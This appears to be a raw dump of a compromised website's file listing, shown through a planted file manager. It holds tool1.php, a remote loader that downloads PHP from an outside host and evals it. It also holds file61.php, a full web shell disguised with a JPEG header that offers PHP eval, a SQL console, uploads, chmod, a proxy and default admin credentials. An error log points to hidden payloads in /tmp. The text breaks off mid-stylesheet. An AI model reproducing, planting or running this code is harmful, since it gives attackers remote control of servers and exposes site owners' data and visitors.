ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/citrustreesonline.com.zip
Back
PK �:�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK �:�\<�:�m m sitemap.xmlnu �[��� <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> <url> <loc>https://www.citrustreesonline.com</loc> </url> </urlset>PK �:�\w�+ [ [ ? .well-known/pki-validation/2BFB86CA8F42E5732AE55EDB548568DC.txtnu �[��� 7E5D6AB04A47F2FA5478C3CB1F5E337BA502E25F3E37EA59B06DAC11D4317855 comodoca.com 68d8c5e4c1b98PK �:�\폣A[ [ ? .well-known/pki-validation/A230B1A752FD1E3AF35D51AD4B84E7FA.txtnu �[��� 7FE446EF3B51B2E593A8D23F455907D40BEAC3A39F53ACB9A98937C0965BA5A1 comodoca.com 689ac96ca4c93PK �:�\���� � $ .well-known/pki-validation/error_lognu �[��� [26-Jun-2025 19:35:57 UTC] PHP Warning: Undefined array key "SERVER_SOFTWARE" in /tmp/.request on line 1 [26-Jun-2025 19:35:58 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/.rindex on line 1 PK �:�\1���[ [ ? .well-known/pki-validation/F9CAC5D966B142A59032DF717782D71E.txtnu �[��� E8E28A49D4CF4F08FA4CC1A98F7F2040A5CADAB75EB3950606AB2923BD9CA33A comodoca.com 68591ce6d21f6PK �:�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZ